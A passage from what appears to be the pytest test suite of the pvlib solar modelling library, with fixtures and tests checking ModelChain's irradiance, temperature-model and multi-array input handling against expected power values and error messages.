system_no_aoi(cec_module_cs5p_220m, sapm_temperature_cs5p_220m, cec_inverter_parameters): module_parameters = cec_module_cs5p_220m.copy() module_parameters['EgRef'] = 1.121 module_parameters['dEgdT'] = -0.0002677 temp_model_params = sapm_temperature_cs5p_220m.copy() inverter_parameters = cec_inverter_parameters.copy() system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=inverter_parameters) return system @pytest.fixture def system_no_temp(cec_module_cs5p_220m, cec_inverter_parameters): module_parameters = cec_module_cs5p_220m.copy() module_parameters['EgRef'] = 1.121 module_parameters['dEgdT'] = -0.0002677 inverter_parameters = cec_inverter_parameters.copy() system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module_parameters=module_parameters, inverter_parameters=inverter_parameters) return system @pytest.fixture def location(): return Location(32.2, -111, altitude=700) @pytest.fixture def weather(): times = pd.date_range('20160101 1200-0700', periods=2, freq='6H') weather = pd.DataFrame({'ghi': [500, 0], 'dni': [800, 0], 'dhi': [100, 0]}, index=times) return weather @pytest.fixture def total_irrad(weather): return pd.DataFrame({'poa_global': [800., 500.], 'poa_direct': [500., 300.], 'poa_diffuse': [300., 200.]}, index=weather.index) @pytest.fixture(scope='function') def sapm_dc_snl_ac_system_Array(sapm_module_params, cec_inverter_parameters, sapm_temperature_cs5p_220m): module = 'Canadian_Solar_CS5P_220M___2009_' module_parameters = sapm_module_params.copy() temp_model_params = sapm_temperature_cs5p_220m.copy() array_one = pvsystem.Array(mount=pvsystem.FixedMount(surface_tilt=32, surface_azimuth=180), albedo=0.2, module=module, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, modules_per_string=1, strings=1) array_two = pvsystem.Array(mount=pvsystem.FixedMount(surface_tilt=15, surface_azimuth=180), albedo=0.2, module=module, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, modules_per_string=1, strings=1) return PVSystem(arrays=[array_one, array_two], inverter_parameters=cec_inverter_parameters) @pytest.fixture(scope='function') def sapm_dc_snl_ac_system_same_arrays(sapm_module_params, cec_inverter_parameters, sapm_temperature_cs5p_220m): """A system with two identical arrays.""" module = 'Canadian_Solar_CS5P_220M___2009_' module_parameters = sapm_module_params.copy() temp_model_params = sapm_temperature_cs5p_220m.copy() array_one = pvsystem.Array(mount=pvsystem.FixedMount(surface_tilt=32.2, surface_azimuth=180), module=module, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, modules_per_string=1, strings=1) array_two = pvsystem.Array(mount=pvsystem.FixedMount(surface_tilt=32.2, surface_azimuth=180), module=module, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, modules_per_string=1, strings=1) return PVSystem(arrays=[array_one, array_two], inverter_parameters=cec_inverter_parameters) def test_ModelChain_creation(sapm_dc_snl_ac_system, location): ModelChain(sapm_dc_snl_ac_system, location) def test_with_sapm(sapm_dc_snl_ac_system, location, weather): mc = ModelChain.with_sapm(sapm_dc_snl_ac_system, location) assert mc.dc_model == mc.sapm mc.run_model(weather) def test_with_pvwatts(pvwatts_dc_pvwatts_ac_system, location, weather): mc = ModelChain.with_pvwatts(pvwatts_dc_pvwatts_ac_system, location) assert mc.dc_model == mc.pvwatts_dc assert mc.temperature_model == mc.sapm_temp mc.run_model(weather) def test_run_model_with_irradiance(sapm_dc_snl_ac_system, location): mc = ModelChain(sapm_dc_snl_ac_system, location) times = pd.date_range('20160101 1200-0700', periods=2, freq='6H') irradiance = pd.DataFrame({'dni': 900, 'ghi': 600, 'dhi': 150}, index=times) ac = mc.run_model(irradiance).results.ac expected = pd.Series(np.array([187.80746494643176, -0.02]), index=times) assert_series_equal(ac, expected) @pytest.fixture(scope='function') def multi_array_sapm_dc_snl_ac_system( sapm_temperature_cs5p_220m, sapm_module_params, cec_inverter_parameters): module_parameters = sapm_module_params temp_model_parameters = sapm_temperature_cs5p_220m.copy() inverter_parameters = cec_inverter_parameters array_one = pvsystem.Array( mount=pvsystem.FixedMount(surface_tilt=32.2, surface_azimuth=180), module_parameters=module_parameters, temperature_model_parameters=temp_model_parameters ) array_two = pvsystem.Array( mount=pvsystem.FixedMount(surface_tilt=32.2, surface_azimuth=220), module_parameters=module_parameters, temperature_model_parameters=temp_model_parameters ) two_array_system = PVSystem( arrays=[array_one, array_two], inverter_parameters=inverter_parameters ) array_one_system = PVSystem( arrays=[array_one], inverter_parameters=inverter_parameters ) array_two_system = PVSystem( arrays=[array_two], inverter_parameters=inverter_parameters ) return {'two_array_system': two_array_system, 'array_one_system': array_one_system, 'array_two_system': array_two_system} def test_run_model_from_irradiance_arrays_no_loss( multi_array_sapm_dc_snl_ac_system, location): mc_both = ModelChain( multi_array_sapm_dc_snl_ac_system['two_array_system'], location, aoi_model='no_loss', spectral_model='no_loss', losses_model='no_loss' ) mc_one = ModelChain( multi_array_sapm_dc_snl_ac_system['array_one_system'], location, aoi_model='no_loss', spectral_model='no_loss', losses_model='no_loss' ) mc_two = ModelChain( multi_array_sapm_dc_snl_ac_system['array_two_system'], location, aoi_model='no_loss', spectral_model='no_loss', losses_model='no_loss' ) times = pd.date_range('20160101 1200-0700', periods=2, freq='6H') irradiance = pd.DataFrame({'dni': 900, 'ghi': 600, 'dhi': 150}, index=times) mc_one.run_model(irradiance) mc_two.run_model(irradiance) mc_both.run_model(irradiance) assert_frame_equal( mc_both.results.dc[0], mc_one.results.dc ) assert_frame_equal( mc_both.results.dc[1], mc_two.results.dc ) @pytest.mark.parametrize("input_type", [tuple, list]) def test_run_model_from_irradiance_arrays_no_loss_input_type( multi_array_sapm_dc_snl_ac_system, location, input_type): mc_both = ModelChain( multi_array_sapm_dc_snl_ac_system['two_array_system'], location, aoi_model='no_loss', spectral_model='no_loss', losses_model='no_loss' ) mc_one = ModelChain( multi_array_sapm_dc_snl_ac_system['array_one_system'], location, aoi_model='no_loss', spectral_model='no_loss', losses_model='no_loss' ) mc_two = ModelChain( multi_array_sapm_dc_snl_ac_system['array_two_system'], location, aoi_model='no_loss', spectral_model='no_loss', losses_model='no_loss' ) times = pd.date_range('20160101 1200-0700', periods=2, freq='6H') irradiance = pd.DataFrame({'dni': 900, 'ghi': 600, 'dhi': 150}, index=times) mc_one.run_model(irradiance) mc_two.run_model(irradiance) mc_both.run_model(input_type((irradiance, irradiance))) assert_frame_equal( mc_both.results.dc[0], mc_one.results.dc ) assert_frame_equal( mc_both.results.dc[1], mc_two.results.dc ) @pytest.mark.parametrize('inverter', ['adr']) def test_ModelChain_invalid_inverter_params_arrays( inverter, sapm_dc_snl_ac_system_same_arrays, location, adr_inverter_parameters): inverter_params = {'adr': adr_inverter_parameters} sapm_dc_snl_ac_system_same_arrays.inverter_parameters = \ inverter_params[inverter] with pytest.raises(ValueError, match=r'adr inverter function cannot'): ModelChain(sapm_dc_snl_ac_system_same_arrays, location) @pytest.mark.parametrize("input_type", [tuple, list]) def test_prepare_inputs_multi_weather( sapm_dc_snl_ac_system_Array, location, input_type): times = pd.date_range(start='20160101 1200-0700', end='20160101 1800-0700', freq='6H') mc = ModelChain(sapm_dc_snl_ac_system_Array, location) weather = pd.DataFrame({'ghi': 1, 'dhi': 1, 'dni': 1}, index=times) mc.prepare_inputs(input_type((weather, weather))) num_arrays = sapm_dc_snl_ac_system_Array.num_arrays assert len(mc.results.total_irrad) == num_arrays def test_prepare_inputs_no_irradiance(sapm_dc_snl_ac_system, location): mc = ModelChain(sapm_dc_snl_ac_system, location) weather = pd.DataFrame() with pytest.raises(ValueError): mc.prepare_inputs(weather) def test_prepare_inputs_arrays_one_missing_irradiance( sapm_dc_snl_ac_system_Array, location): """If any of the input DataFrames is missing a column then a ValueError is raised.""" mc = ModelChain(sapm_dc_snl_ac_system_Array, location) weather = pd.DataFrame( {'ghi': [1], 'dhi': [1], 'dni': [1]} ) weather_incomplete = pd.DataFrame( {'ghi': [1], 'dhi': [1]} ) with pytest.raises(ValueError, match=r"Incomplete input data\. .*"): mc.prepare_inputs((weather, weather_incomplete)) with pytest.raises(ValueError, match=r"Incomplete input data\. .*"): mc.prepare_inputs((weather_incomplete, weather)) @pytest.mark.parametrize("input_type", [tuple, list]) def test_prepare_inputs_weather_wrong_length( sapm_dc_snl_ac_system_Array, location, input_type): mc = ModelChain(sapm_dc_snl_ac_system_Array, location) weather = pd.DataFrame({'ghi': [1], 'dhi': [1], 'dni': [1]}) with pytest.raises(ValueError, match="Input must be same length as number of Arrays " r"in system\. Expected 2, got 1\."): mc.prepare_inputs(input_type((weather,))) with pytest.raises(ValueError, match="Input must be same length as number of Arrays " r"in system\. Expected 2, got 3\."): mc.prepare_inputs(input_type((weather, weather, weather))) def test_ModelChain_times_error_arrays(sapm_dc_snl_ac_system_Array, location): """ModelChain.times is assigned a single index given multiple weather DataFrames. """ error_str = r"Input DataFrames must have same index\." mc = ModelChain(sapm_dc_snl_ac_system_Array, location) irradiance = {'ghi': [1, 2], 'dhi': [1, 2], 'dni': [1, 2]} times_one = pd.date_range(start='1/1/2020', freq='6H', periods=2) times_two = pd.date_range(start='1/1/2020 00:15', freq='6H', periods=2) weather_one = pd.DataFrame(irradiance, index=times_one) weather_two = pd.DataFrame(irradiance, index=times_two) with pytest.raises(ValueError, match=error_str): mc.prepare_inputs((weather_one, weather_two)) # test with overlapping, but differently sized indices. times_three = pd.date_range(start='1/1/2020', freq='6H', periods=3) irradiance_three = irradiance irradiance_three['ghi'].append(3) irradiance_three['dhi'].append(3) irradiance_three['dni'].append(3) weather_three = pd.DataFrame(irradiance_three, index=times_three) with pytest.raises(ValueError, match=error_str): mc.prepare_inputs((weather_one, weather_three)) def test_ModelChain_times_arrays(sapm_dc_snl_ac_system_Array, location): """ModelChain.times is assigned a single index given multiple weather DataFrames. """ mc = ModelChain(sapm_dc_snl_ac_system_Array, location) irradiance_one = {'ghi': [1, 2], 'dhi': [1, 2], 'dni': [1, 2]} irradiance_two = {'ghi': [2, 1], 'dhi': [2, 1], 'dni': [2, 1]} times = pd.date_range(start='1/1/2020', freq='6H', periods=2) weather_one = pd.DataFrame(irradiance_one, index=times) weather_two = pd.DataFrame(irradiance_two, index=times) mc.prepare_inputs((weather_one, weather_two)) assert mc.results.times.equals(times) mc = ModelChain(sapm_dc_snl_ac_system_Array, location) mc.prepare_inputs(weather_one) assert mc.results.times.equals(times) @pytest.mark.parametrize("missing", ['dhi', 'ghi', 'dni']) def test_prepare_inputs_missing_irrad_component( sapm_dc_snl_ac_system, location, missing): mc = ModelChain(sapm_dc_snl_ac_system, location) weather = pd.DataFrame({'dhi': [1, 2], 'dni': [1, 2], 'ghi': [1, 2]}) weather.drop(columns=missing, inplace=True) with pytest.raises(ValueError): mc.prepare_inputs(weather) @pytest.mark.parametrize('ac_model', ['sandia', 'pvwatts']) @pytest.mark.parametrize("input_type", [tuple, list]) def test_run_model_arrays_weather(sapm_dc_snl_ac_system_same_arrays, pvwatts_dc_pvwatts_ac_system_arrays, location, ac_model, input_type): system = {'sandia': sapm_dc_snl_ac_system_same_arrays, 'pvwatts': pvwatts_dc_pvwatts_ac_system_arrays} mc = ModelChain(system[ac_model], location, aoi_model='no_loss', spectral_model='no_loss') times = pd.date_range('20200101 1200-0700', periods=2, freq='2H') weather_one = pd.DataFrame({'dni': [900, 800], 'ghi': [600, 500], 'dhi': [150, 100]}, index=times) weather_two = pd.DataFrame({'dni': [500, 400], 'ghi': [300, 200], 'dhi': [75, 65]}, index=times) mc.run_model(input_type((weather_one, weather_two))) assert (mc.results.dc[0] != mc.results.dc[1]).all().all() assert not mc.results.ac.empty def test_run_model_perez(sapm_dc_snl_ac_system, location): mc = ModelChain(sapm_dc_snl_ac_system, location, transposition_model='perez') times = pd.date_range('20160101 1200-0700', periods=2, freq='6H') irradiance = pd.DataFrame({'dni': 900, 'ghi': 600, 'dhi': 150}, index=times) ac = mc.run_model(irradiance).results.ac expected = pd.Series(np.array([187.94295642, -2.00000000e-02]), index=times) assert_series_equal(ac, expected) def test_run_model_gueymard_perez(sapm_dc_snl_ac_system, location): mc = ModelChain(sapm_dc_snl_ac_system, location, airmass_model='gueymard1993', transposition_model='perez') times = pd.date_range('20160101 1200-0700', periods=2, freq='6H') irradiance = pd.DataFrame({'dni': 900, 'ghi': 600, 'dhi': 150}, index=times) ac = mc.run_model(irradiance).results.ac expected = pd.Series(np.array([187.94317405, -2.00000000e-02]), index=times) assert_series_equal(ac, expected) def test_run_model_with_weather_sapm_temp(sapm_dc_snl_ac_system, location, weather, mocker): # test with sapm cell temperature model weather['wind_speed'] = 5 weather['temp_air'] = 10 mc = ModelChain(sapm_dc_snl_ac_system, location) mc.temperature_model = 'sapm' m_sapm = mocker.spy(sapm_dc_snl_ac_system, 'get_cell_temperature') mc.run_model(weather) assert m_sapm.call_count == 1 # assert_called_once_with cannot be used with series, so need to use # assert_series_equal on call_args assert_series_equal(m_sapm.call_args[0][1], weather['temp_air']) # temp assert_series_equal(m_sapm.call_args[0][2], weather['wind_speed']) # wind assert m_sapm.call_args[1]['model'] == 'sapm' assert not mc.results.ac.empty def test_run_model_with_weather_pvsyst_temp(sapm_dc_snl_ac_system, location, weather, mocker): # test with pvsyst cell temperature model weather['wind_speed'] = 5 weather['temp_air'] = 10 sapm_dc_snl_ac_system.arrays[0].racking_model = 'freestanding' sapm_dc_snl_ac_system.arrays[0].temperature_model_parameters = \ temperature._temperature_model_params('pvsyst', 'freestanding') mc = ModelChain(sapm_dc_snl_ac_system, location) mc.temperature_model = 'pvsyst' m_pvsyst = mocker.spy(sapm_dc_snl_ac_system, 'get_cell_temperature') mc.run_model(weather) assert m_pvsyst.call_count == 1 assert_series_equal(m_pvsyst.call_args[0][1], weather['temp_air']) assert_series_equal(m_pvsyst.call_args[0][2], weather['wind_speed']) assert m_pvsyst.call_args[1]['model'] == 'pvsyst' assert not mc.results.ac.empty def test_run_model_with_weather_faiman_temp(sapm_dc_snl_ac_system, location, weather, mocker): # test with faiman cell temperature model weather['wind_speed'] = 5 weather['temp_air'] = 10 sapm_dc_snl_ac_system.arrays[0].temperature_model_parameters = { 'u0': 25.0, 'u1': 6.84 } mc = ModelChain(sapm_dc_snl_ac_system, location) mc.temperature_model = 'faiman' m_faiman = mocker.spy(sapm_dc_snl_ac_system, 'get_cell_temperature') mc.run_model(weather) assert m_faiman.call_count == 1 assert_series_equal(m_faiman.call_args[0][1], weather['temp_air']) assert_series_equal(m_faiman.call_args[0][2], weather['wind_speed']) assert m_faiman.call_args[1]['model'] == 'faiman' assert not mc.results.ac.empty def test_run_model_with_weather_fuentes_temp(sapm_dc_snl_ac_system, location, weather, mocker): weather['wind_speed'] = 5 weather['temp_air'] = 10 sapm_dc_snl_ac_system.arrays[0].temperature_model_parameters = { 'noct_installed': 45, 'surface_tilt': 30, } mc = ModelChain(sapm_dc_snl_ac_system, location) mc.temperature_model = 'fuentes' m_fuentes = mocker.spy(sapm_dc_snl_ac_system, 'get_cell_temperature') mc.run_model(weather) assert m_fuentes.call_count == 1 assert_series_equal(m_fuentes.call_args[0][1], weather['temp_air']) assert_series_equal(m_fuentes.call_args[0][2], weather['wind_speed']) assert m_fuentes.call_args[1]['model'] == 'fuentes' assert not mc.results.ac.empty def test_run_model_with_weather_noct_sam_temp(sapm_dc_snl_ac_system, location, weather, mocker): weather['wind_speed'] = 5 weather['temp_air'] = 10 sapm_dc_snl_ac_system.arrays[0].temperature_model_parameters = { 'noct': 45, 'module_efficiency': 0.2 } mc = ModelChain(sapm_dc_snl_ac_system, location) mc.temperature_model = 'noct_sam' m_noct_sam = mocker.spy(sapm_dc_snl_ac_system, 'get_cell_temperature') mc.run_model(weather) assert m_noct_sam.call_count == 1 assert_series_equal(m_noct_sam.call_args[0][1], weather['temp_air']) assert_series_equal(m_noct_sam.call_args[0][2], weather['wind_speed']) # check that effective_irradiance was used assert m_noct_sam.call_args[1] == { 'effective_irradiance': mc.results.effective_irradiance, 'model': 'noct_sam'} def test_run_model_tracker(sapm_dc_snl_ac_system, location, weather, mocker): with pytest.warns(pvlibDeprecationWarning): system = SingleAxisTracker( module_parameters=sapm_dc_snl_ac_system.arrays[0].module_parameters, # noqa: E501 temperature_model_parameters=( sapm_dc_snl_ac_system.arrays[0].temperature_model_parameters ), inverter_parameters=sapm_dc_snl_ac_system.inverter_parameters) mocker.spy(system, 'singleaxis') mc = ModelChain(system, location) mc.run_model(weather) assert system.singleaxis.call_count == 1 assert (mc.results.tracking.columns == ['tracker_theta', 'aoi', 'surface_azimuth', 'surface_tilt']).all() assert mc.results.ac[0] > 0 assert np.isnan(mc.results.ac[1]) assert isinstance(mc.results.dc, pd.DataFrame) def test_run_model_tracker_list( sapm_dc_snl_ac_system, location, weather, mocker): with pytest.warns(pvlibDeprecationWarning): system = SingleAxisTracker( module_parameters=sapm_dc_snl_ac_system.arrays[0].module_parameters, # noqa: E501 temperature_model_parameters=( sapm_dc_snl_ac_system.arrays[0].temperature_model_parameters ), inverter_parameters=sapm_dc_snl_ac_system.inverter_parameters) mocker.spy(system, 'singleaxis') mc = ModelChain(system, location) mc.run_model([weather]) assert system.singleaxis.call_count == 1 assert (mc.results.tracking.columns == ['tracker_theta', 'aoi', 'surface_azimuth', 'surface_tilt']).all() assert mc.results.ac[0] > 0 assert np.isnan(mc.results.ac[1]) assert isinstance(mc.results.dc, tuple) assert len(mc.results.dc) == 1 def test__assign_total_irrad(sapm_dc_snl_ac_system, location, weather, total_irrad): data = pd.concat([weather, total_irrad], axis=1) mc = ModelChain(sapm_dc_snl_ac_system, location) mc._assign_total_irrad(data) assert_frame_equal(mc.results.total_irrad, total_irrad) def test_prepare_inputs_from_poa(sapm_dc_snl_ac_system, location, weather, total_irrad): data = pd.concat([weather, total_irrad], axis=1) mc = ModelChain(sapm_dc_snl_ac_system, location) mc.prepare_inputs_from_poa(data) weather_expected = weather.copy() weather_expected['temp_air'] = 20 weather_expected['wind_speed'] = 0 # order as expected weather_expected = weather_expected[ ['ghi', 'dhi', 'dni', 'wind_speed', 'temp_air']] # weather attribute assert_frame_equal(mc.results.weather, weather_expected) # total_irrad attribute assert_frame_equal(mc.results.total_irrad, total_irrad) assert not pd.isnull(mc.results.solar_position.index[0]) @pytest.mark.parametrize("input_type", [tuple, list]) def test_prepare_inputs_from_poa_multi_data( sapm_dc_snl_ac_system_Array, location, total_irrad, weather, input_type): mc = ModelChain(sapm_dc_snl_ac_system_Array, location) poa = pd.concat([weather, total_irrad], axis=1) mc.prepare_inputs_from_poa(input_type((poa, poa))) num_arrays = sapm_dc_snl_ac_system_Array.num_arrays assert len(mc.results.total_irrad) == num_arrays @pytest.mark.parametrize("input_type", [tuple, list]) def test_prepare_inputs_from_poa_wrong_number_arrays( sapm_dc_snl_ac_system_Array, location, total_irrad, weather, input_type): len_error = r"Input must be same length as number of Arrays in system\. " \ r"Expected 2, got [0-9]+\." type_error = r"Input must be a tuple of length 2, got .*\." mc = ModelChain(sapm_dc_snl_ac_system_Array, location) poa = pd.concat([weather, total_irrad], axis=1) with pytest.raises(TypeError, match=type_error): mc.prepare_inputs_from_poa(poa) with pytest.raises(ValueError, match=len_error): mc.prepare_inputs_from_poa(input_type((poa,))) with pytest.raises(ValueError, match=len_error): mc.prepare_inputs_from_poa(input_type((poa, poa, poa))) def test_prepare_inputs_from_poa_arrays_different_indices( sapm_dc_snl_ac_system_Array, location, total_irrad, weather): error_str = r"Input DataFrames must have same index\." mc = ModelChain(sapm_dc_snl_ac_system_Array, location) poa = pd.concat([weather, total_irrad], axis=1) with pytest.raises(ValueError, match=error_str): mc.prepare_inputs_from_poa((poa, poa.shift(periods=1, freq='6H'))) def test_prepare_inputs_from_poa_arrays_missing_column( sapm_dc_snl_ac_system_Array, location, weather, total_irrad): mc = ModelChain(sapm_dc_snl_ac_system_Array, location) poa = pd.concat([weather, total_irrad], axis=1) with pytest.raises(ValueError, match=r"Incomplete input data\. " r"Data needs to contain .*\. " r"Detected data in element 1 " r"contains: .*"): mc.prepare_inputs_from_poa((poa, poa.drop(columns='poa_global'))) def test__prepare_temperature(sapm_dc_snl_ac_system, location, weather, total_irrad): data = weather.copy() data[['poa_global', 'poa_diffuse', 'poa_direct']] = total_irrad mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') # prepare_temperature expects mc.total_irrad and mc.results.weather # to be set mc._assign_weather(data) mc._assign_total_irrad(data) mc._prepare_temperature(data) expected = pd.Series([48.928025, 38.080016], index=data.index) assert_series_equal(mc.results.cell_temperature, expected) data['module_temperature'] = [40., 30.] mc._prepare_temperature(data) expected = pd.Series([42.4, 31.5], index=data.index) assert_series_equal(mc.results.cell_temperature, expected) data['cell_temperature'] = [50., 35.] mc._prepare_temperature(data) assert_series_equal(mc.results.cell_temperature, data['cell_temperature']) def test__prepare_temperature_len1_weather_tuple( sapm_dc_snl_ac_system, location, weather, total_irrad): # GH 1192 weather['module_temperature'] = [40., 30.] data = weather.copy() mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') mc.run_model([data]) expected = pd.Series([42.617244212941394, 30.0], index=data.index) assert_series_equal(mc.results.cell_temperature[0], expected) data = weather.copy().rename( columns={ "ghi": "poa_global", "dhi": "poa_diffuse", "dni": "poa_direct"} ) mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') mc.run_model_from_poa([data]) expected = pd.Series([41.5, 30.0], index=data.index) assert_series_equal(mc.results.cell_temperature[0], expected) data = weather.copy()[["module_temperature", "ghi"]].rename( columns={"ghi": "effective_irradiance"} ) mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') mc.run_model_from_effective_irradiance([data]) expected = pd.Series([41.5, 30.0], index=data.index) assert_series_equal(mc.results.cell_temperature[0], expected) def test__prepare_temperature_arrays_weather(sapm_dc_snl_ac_system_same_arrays, location, weather, total_irrad): data = weather.copy() data[['poa_global', 'poa_direct', 'poa_diffuse']] = total_irrad data_two = data.copy() mc = ModelChain(sapm_dc_snl_ac_system_same_arrays, location, aoi_model='no_loss', spectral_model='no_loss') # prepare_temperature expects mc.results.total_irrad and mc.results.weather # to be set mc._assign_weather((data, data_two)) mc._assign_total_irrad((data, data_two)) mc._prepare_temperature((data, data_two)) expected = pd.Series([48.928025, 38.080016], index=data.index) assert_series_equal(mc.results.cell_temperature[0], expected) assert_series_equal(mc.results.cell_temperature[1], expected) data['module_temperature'] = [40., 30.] mc._prepare_temperature((data, data_two)) expected = pd.Series([42.4, 31.5], index=data.index) assert (mc.results.cell_temperature[1] != expected).all() assert_series_equal(mc.results.cell_temperature[0], expected) data['cell_temperature'] = [50., 35.] mc._prepare_temperature((data, data_two)) assert_series_equal( mc.results.cell_temperature[0], data['cell_temperature']) data_two['module_temperature'] = [40., 30.] mc._prepare_temperature((data, data_two)) assert_series_equal(mc.results.cell_temperature[1], expected) assert_series_equal( mc.results.cell_temperature[0], data['cell_temperature']) data_two['cell_temperature'] = [10.0, 20.0] mc._prepare_temperature((data, data_two)) assert_series_equal( mc.results.cell_temperature[1], data_two['cell_temperature']) assert_series_equal( mc.results.cell_temperature[0], data['cell_temperature']) @pytest.mark.parametrize('temp_params,temp_model', [({'a': -3.47, 'b': -.0594, 'deltaT': 3}, ModelChain.sapm_temp), ({'u_c': 29.0, 'u_v': 0}, ModelChain.pvsyst_temp), ({'u0': 25.0, 'u1': 6.84}, ModelChain.faiman_temp), ({'noct_installed': 45}, ModelChain.fuentes_temp), ({'noct': 45, 'module_efficiency': 0.2}, ModelChain.noct_sam_temp)]) def test_temperature_models_arrays_multi_weather( temp_params, temp_model, sapm_dc_snl_ac_system_same_arrays, location, weather, total_irrad): for array in sapm_dc_snl_ac_system_same_arrays.arrays: array.temperature_model_parameters = temp_params # set air temp so it does not default to the same value for both arrays weather['temp_air'] = 25 weather_one = weather weather_two = weather.copy() * 0.5 mc = ModelChain(sapm_dc_snl_ac_system_same_arrays, location, aoi_model='no_loss', spectral_model='no_loss') mc.prepare_inputs((weather_one, weather_two)) temp_model(mc) assert (mc.results.cell_temperature[0] != mc.results.cell_temperature[1]).all() def test_run_model_solar_position_weather( pvwatts_dc_pvwatts_ac_system, location, weather, mocker): mc = ModelChain(pvwatts_dc_pvwatts_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') weather['pressure'] = 90000 weather['temp_air'] = 25 m = mocker.spy(location, 'get_solarposition') mc.run_model(weather) # assert_called_once_with cannot be used with series, so need to use # assert_series_equal on call_args assert_series_equal(m.call_args[1]['temperature'], weather['temp_air']) assert_series_equal(m.call_args[1]['pressure'], weather['pressure']) def test_run_model_from_poa(sapm_dc_snl_ac_system, location, total_irrad): mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') ac = mc.run_model_from_poa(total_irrad).results.ac expected = pd.Series(np.array([149.280238, 96.678385]), index=total_irrad.index) assert_series_equal(ac, expected) @pytest.mark.parametrize("input_type", [tuple, list]) def test_run_model_from_poa_arrays(sapm_dc_snl_ac_system_Array, location, weather, total_irrad, input_type): data = weather.copy() data[['poa_global', 'poa_diffuse', 'poa_direct']] = total_irrad mc = ModelChain(sapm_dc_snl_ac_system_Array, location, aoi_model='no_loss', spectral_model='no_loss') mc.run_model_from_poa(input_type((data, data))) # arrays have different orientation, but should give same dc power # because we are the same passing POA irradiance and air # temperature. assert_frame_equal(mc.results.dc[0], mc.results.dc[1]) def test_run_model_from_poa_arrays_solar_position_weather( sapm_dc_snl_ac_system_Array, location, weather, total_irrad, mocker): data = weather.copy() data[['poa_global', 'poa_diffuse', 'poa_direct']] = total_irrad data['pressure'] = 90000 data['temp_air'] = 25 data2 = data.copy() data2['pressure'] = 95000 data2['temp_air'] = 30 mc = ModelChain(sapm_dc_snl_ac_system_Array, location, aoi_model='no_loss', spectral_model='no_loss') m = mocker.spy(location, 'get_solarposition') mc.run_model_from_poa((data, data2)) # mc uses only the first weather data for solar position corrections assert_series_equal(m.call_args[1]['temperature'], data['temp_air']) assert_series_equal(m.call_args[1]['pressure'], data['pressure']) def test_run_model_from_poa_tracking(sapm_dc_snl_ac_system, location, total_irrad): with pytest.warns(pvlibDeprecationWarning): system = SingleAxisTracker( module_parameters=sapm_dc_snl_ac_system.arrays[0].module_parameters, # noqa: E501 temperature_model_parameters=( sapm_dc_snl_ac_system.arrays[0].temperature_model_parameters ), inverter_parameters=sapm_dc_snl_ac_system.inverter_parameters) mc = ModelChain(system, location, aoi_model='no_loss', spectral_model='no_loss') ac = mc.run_model_from_poa(total_irrad).results.ac assert (mc.results.tracking.columns == ['tracker_theta', 'aoi', 'surface_azimuth', 'surface_tilt']).all() expected = pd.Series(np.array([149.280238, 96.678385]), index=total_irrad.index) assert_series_equal(ac, expected) @pytest.mark.parametrize("input_type", [lambda x: x[0], tuple, list]) def test_run_model_from_effective_irradiance(sapm_dc_snl_ac_system, location, weather, total_irrad, input_type): data = weather.copy() data[['poa_global', 'poa_diffuse', 'poa_direct']] = total_irrad data['effective_irradiance'] = data['poa_global'] mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') ac = mc.run_model_from_effective_irradiance(input_type((data,))).results.ac expected = pd.Series(np.array([149.280238, 96.678385]), index=data.index) assert_series_equal(ac, expected) @pytest.mark.parametrize("input_type", [tuple, list]) def test_run_model_from_effective_irradiance_multi_array( sapm_dc_snl_ac_system_Array, location, weather, total_irrad, input_type): data = weather.copy() data[['poa_global', 'poa_diffuse', 'poa_direct']] = total_irrad data['effective_irradiance'] = data['poa_global'] mc = ModelChain(sapm_dc_snl_ac_system_Array, location, aoi_model='no_loss', spectral_model='no_loss') mc.run_model_from_effective_irradiance(input_type((data, data))) # arrays have different orientation, but should give same dc power # because we are the same passing POA irradiance and air # temperature. assert_frame_equal(mc.results.dc[0], mc.results.dc[1]) @pytest.mark.parametrize("input_type", [lambda x: x[0], tuple, list]) def test_run_model_from_effective_irradiance_no_poa_global( sapm_dc_snl_ac_system, location, weather, total_irrad, input_type): data = weather.copy() data['effective_irradiance'] = total_irrad['poa_global'] mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') ac = mc.run_model_from_effective_irradiance(input_type((data,))).results.ac expected = pd.Series(np.array([149.280238, 96.678385]), index=data.index) assert_series_equal(ac, expected) def test_run_model_from_effective_irradiance_poa_global_differs( sapm_dc_snl_ac_system, location, weather, total_irrad): data = weather.copy() data[['poa_global', 'poa_diffuse', 'poa_direct']] = total_irrad data['effective_irradiance'] = data['poa_global'] * 0.8 mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') ac = mc.run_model_from_effective_irradiance(data).results.ac expected = pd.Series(np.array([118.302801, 76.099841]), index=data.index) assert_series_equal(ac, expected) @pytest.mark.parametrize("input_type", [tuple, list]) def test_run_model_from_effective_irradiance_arrays_error( sapm_dc_snl_ac_system_Array, location, weather, total_irrad, input_type): data = weather.copy() data[['poa_global', 'poa_diffuse', 'poa_direct']] = total_irrad data['effetive_irradiance'] = data['poa_global'] mc = ModelChain(sapm_dc_snl_ac_system_Array, location) len_error = r"Input must be same length as number of Arrays in system\. " \ r"Expected 2, got [0-9]+\." type_error = r"Input must be a tuple of length 2, got DataFrame\." with pytest.raises(TypeError, match=type_error): mc.run_model_from_effective_irradiance(data) with pytest.raises(ValueError, match=len_error): mc.run_model_from_effective_irradiance(input_type((data,))) with pytest.raises(ValueError, match=len_error): mc.run_model_from_effective_irradiance(input_type((data, data, data))) with pytest.raises(ValueError, match=r"Input DataFrames must have same index\."): mc.run_model_from_effective_irradiance( (data, data.shift(periods=1, freq='6H')) ) @pytest.mark.parametrize("input_type", [tuple, list]) def 